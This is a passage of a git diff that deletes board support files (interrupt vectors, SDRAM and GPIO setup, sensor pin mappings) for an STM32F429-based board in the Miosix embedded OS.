TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) UART7_IRQHandler(); -void __attribute__((weak)) UART8_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); -void __attribute__((weak)) SPI5_IRQHandler(); -void __attribute__((weak)) SPI6_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) LTDC_IRQHandler(); -void __attribute__((weak)) LTDC_ER_IRQHandler(); -void __attribute__((weak)) DMA2D_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler, - UART7_IRQHandler, - UART8_IRQHandler, - SPI4_IRQHandler, - SPI5_IRQHandler, - SPI6_IRQHandler, - SAI1_IRQHandler, - LTDC_IRQHandler, - LTDC_ER_IRQHandler, - DMA2D_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak UART7_IRQHandler = Default_Handler -#pragma weak UART8_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler -#pragma weak SPI5_IRQHandler = Default_Handler -#pragma weak SPI6_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak LTDC_IRQHandler = Default_Handler -#pragma weak LTDC_ER_IRQHandler = Default_Handler -#pragma weak DMA2D_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index dfa020301..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F429xx -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() __DSB() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/bsp.cpp deleted file mode 100644 index 83e7da7ba..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,318 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "drivers/stm32_sgm.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -/** - * The example code from ST checks for the busy flag after each command. - * Interestingly I couldn't find any mention of this in the datsheet. - */ -static void sdramCommandWait() -{ - for(int i=0;i<0xffff;i++) - if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; -} - -void configureSdram() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - - //First, configure SDRAM GPIOs - GPIOB->AFR[0]=0x0cc00000; - GPIOC->AFR[0]=0x0000000c; - GPIOD->AFR[0]=0x000000cc; - GPIOD->AFR[1]=0xcc000ccc; - GPIOE->AFR[0]=0xc00000cc; - GPIOE->AFR[1]=0xcccccccc; - GPIOF->AFR[0]=0x00cccccc; - GPIOF->AFR[1]=0xccccc000; - GPIOG->AFR[0]=0x00cc00cc; - GPIOG->AFR[1]=0xc000000c; - - GPIOB->MODER=0x00002800; - GPIOC->MODER=0x00000002; - GPIOD->MODER=0xa02a000a; - GPIOE->MODER=0xaaaa800a; - GPIOF->MODER=0xaa800aaa; - GPIOG->MODER=0x80020a0a; - - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... - GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins - GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; - GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; - GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; - GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; - GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; - GPIOH->OSPEEDR=0xaaaaaaaa; - - //Since we'we un-configured PB3/PB4 from the default at boot TDO,NTRST, - //finish the job and remove the default pull-up - GPIOB->PUPDR=0; - - //Second, actually start the SDRAM controller - RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - - //SDRAM is a AS4C4M16SA-6TAN, connected to bank 2 (0xd0000000) - //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency - | FMC_SDCR1_RBURST // Enable read burst - | 0; // 0 delay between reads after CAS - FMC_Bank5_6->SDCR[1]=0 // 8 bit column address - | FMC_SDCR1_NR_0 // 12 bit row address - | FMC_SDCR1_MWID_0 // 16 bit data bus - | FMC_SDCR1_NB // 4 banks - | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (TCK>9+0.5ns [1]) - - #ifdef SYSCLK_FREQ_180MHz - //One SDRAM clock cycle is 11.1ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>60ns) - | (2-1)<<20; // 2 cycle TRP (22.2ns>18ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (6-1)<<4 // 6 cycle TXSR (66.6ns>61.5+0.5ns [1]) - | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (22.2ns>18ns) - #elif defined(SYSCLK_FREQ_168MHz) - //One SDRAM clock cycle is 11.9ns - //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], - //they aren't just don't care, the controller will fail if they aren't at 0 - FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>60ns) - | (2-1)<<20; // 2 cycle TRP (23.8ns>18ns) - FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD - | (6-1)<<4 // 6 cycle TXSR (71.4ns>61.5+0.5ns [1]) - | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) - | (2-1)<<16 // 2 cycle TWR - | (2-1)<<24; // 2 cycle TRCD (23.8ns>18ns) - #else - #error No SDRAM timings for this clock - #endif - //NOTE [1]: the timings for TCK and TIS depend on rise and fall times - //(see note 9 and 10 on datasheet). Timings are adjusted accordingly to - //the measured 2ns rise and fall time - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 1; // MODE=001 clock enabled - sdramCommandWait(); - - //SDRAM datasheet requires 200us delay here (note 11), here we use 10% more - delayUs(220); - - FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 - | 2; // MODE=010 precharge all command - sdramCommandWait(); - - //FIXME: note 11 on SDRAM datasheet says extended mode register must be set, - //but the ST datasheet does not seem to explain how - FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 - | FMC_SDCMR_CTB2 // Enable bank 2 - | 4; // MODE=100 load mode register - sdramCommandWait(); - - FMC_Bank5_6->SDCMR= (4-1)<<5 // NRFS=8 SDRAM datasheet requires - // a minimum of 2 cycles, here we use 4 - | FMC_SDCMR_CTB2 // Enable bank 2 - | 3; // MODE=011 auto refresh - sdramCommandWait(); - - // 32ms/4096=7.8125us, but datasheet says to round that to 7.8us - #ifdef SYSCLK_FREQ_180MHz - //7.8us*90MHz=702-20=682 - FMC_Bank5_6->SDRTR=682<<1; - #elif defined(SYSCLK_FREQ_168MHz) - //7.8us*84MHz=655-20=635 - FMC_Bank5_6->SDRTR=635<<1; - #else - #error No refresh timings for this clock - #endif -} - -void IRQbspInit() -{ - - /* force Safe Guard Memory constructor call */ - SGM::instance(); - - /*If using SDRAM GPIOs are enabled by configureSdram(), else enable them here */ - #ifndef __ENABLE_XRAM - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - #endif /* __ENABLE_XRAM */ - - using namespace leds; - led0::mode(Mode::OUTPUT); - led1::mode(Mode::OUTPUT); - led2::mode(Mode::OUTPUT); - led3::mode(Mode::OUTPUT); - led4::mode(Mode::OUTPUT); - led5::mode(Mode::OUTPUT); - led6::mode(Mode::OUTPUT); - led7::mode(Mode::OUTPUT); - led8::mode(Mode::OUTPUT); - led9::mode(Mode::OUTPUT); - - using namespace sensors; - fxas21002::cs::mode(Mode::OUTPUT); - fxas21002::cs::high(); - fxas21002::int1::mode(Mode::INPUT); - fxas21002::int2::mode(Mode::INPUT); - - lps331::cs::mode(Mode::OUTPUT); - lps331::cs::high(); - lps331::int1::mode(Mode::INPUT); - lps331::int2::mode(Mode::INPUT); - - lsm9ds::csg::mode(Mode::OUTPUT); - lsm9ds::csg::high(); - lsm9ds::csm::mode(Mode::OUTPUT); - lsm9ds::csm::high(); - lsm9ds::drdyg::mode(Mode::INPUT); - lsm9ds::int1g::mode(Mode::INPUT); - lsm9ds::int1m::mode(Mode::INPUT); - lsm9ds::int2m::mode(Mode::INPUT); - - max21105::cs::mode(Mode::OUTPUT); - max21105::cs::high(); - max21105::int1::mode(Mode::INPUT); - max21105::int2::mode(Mode::INPUT); - - max31856::cs::mode(Mode::OUTPUT); - max31856::cs::high(); - max31856::drdy::mode(Mode::INPUT); - max31856::fault::mode(Mode::INPUT); - - mpl3115::int1::mode(Mode::INPUT); - mpl3115::int2::mode(Mode::INPUT); - - mpu9250::cs::mode(Mode::OUTPUT); - mpu9250::cs::high(); - mpu9250::int1::mode(Mode::INPUT); - - ms5803::cs::mode(Mode::OUTPUT); - ms5803::cs::high(); - - eth::cs::mode(Mode::OUTPUT); - eth::cs::high(); - eth::int1::mode(Mode::INPUT); - - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - intrusive_ref_ptr devFs=basicFilesystemSetup(SDIODriver::instance()); - devFs->addDevice("gps", - intrusive_ref_ptr(new STM32Serial(2,115200))); - - //TODO: STM32Serial configures USART2 on its default pins, which are - //instead connected to the lps331 interrupt pins. For now we'll - //manually deconfigure the old pins and reconfigure the new ones, but - //a better way would be desirable - { - FastInterruptDisableLock dLock; - // Deconfigure old pins (that the STM32Serial driver thinks it's usart - sensors::lps331::int1::mode(Mode::INPUT); - sensors::lps331::int2::mode(Mode::INPUT); - // Configure new pins, which is where the usart actually is - piksi::rx::alternateFunction(7); - piksi::tx::alternateFunction(7); - piksi::rx::mode(Mode::ALTERNATE); - piksi::tx::mode(Mode::ALTERNATE); - } - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** - * For safety reasons, we never want the anakin to shutdown. - * When requested to shutdown, we reboot instead. - */ -void shutdown() -{ - reboot(); -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/bsp_impl.h deleted file mode 100644 index 7812b4229..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,71 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss - * Requires the CPU clock to be already configured (running from the PLL) - */ -void configureSdram(); - -inline void ledOn() -{ - leds::led0::high(); -} - -inline void ledOff() -{ - leds::led0::low(); -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/hwmapping.h b/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/hwmapping.h deleted file mode 100644 index 7dccfa1f8..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f429zi_skyward_anakin/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,159 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -namespace leds { -using led0 = Gpio; //Green, mapped to ledOn()/ledOff() -using led1 = Gpio; //Green -using led2 = Gpio; //Red -using led3 = Gpio; //Red -using led4 = Gpio; //Red -using led5 = Gpio; //Red -using led6 = Gpio; //Red -using led7 = Gpio; //Red -using led8 = Gpio; //Red -using led9 = Gpio; //Red -} //namespace leds - -namespace sensors { - -//Shared SPI bus among sensors -using sck = Gpio; -using miso = Gpio; -using mosi = Gpio; - -//Shared I2C bus among sensors -using sda = Gpio; -using scl = Gpio; - -//Gyro, SPI, 2MHz SCK max -namespace fxas21002 { -using cs = Gpio; -using int1 = Gpio; -using int2 = Gpio; -} //namespace fxas21002 - -//Barometer, SPI, MHz SCK max -namespace lps331 { -using cs = Gpio; -using int1 = Gpio; -using int2 = Gpio; -} //namespace lps331 - -//IMU, SPI, 10MHz SCK max -namespace lsm9ds { -using csg = Gpio; -using csm = Gpio; -using drdyg = Gpio; -using int1g = Gpio; -using int1m = Gpio; -using int2m = Gpio; -} //namespace lsm9ds - -//IMU, SPI, 10MHz SCK max -namespace max21105 { -using cs = Gpio; -using int1 = Gpio; -using int2 = Gpio; -} //namespace max21105 - -//Thermocouple, SPI, 5MHz SCK max -namespace max31856 { -using cs = Gpio; -using drdy = Gpio; -using fault = Gpio; -} //namespace max31856 - -//Barometer, I2C, 400KHz SCL max -namespace mpl3115 { -using int1 = Gpio; -using int2 = Gpio; -} //namespace mpl5115 - -//IMU, SPI, 1MHz SCK max -namespace mpu9250 { -using cs = Gpio; -using int1 = Gpio; -} //namespace mpu9250 - -//Barometer, SPI, 20MHz SCK max -namespace ms5803 { -using cs = Gpio; -} //namespace ms5803 - -} //namespace sensors - -namespace can { -using tx1 = Gpio; -using rx1 = Gpio; -using tx2 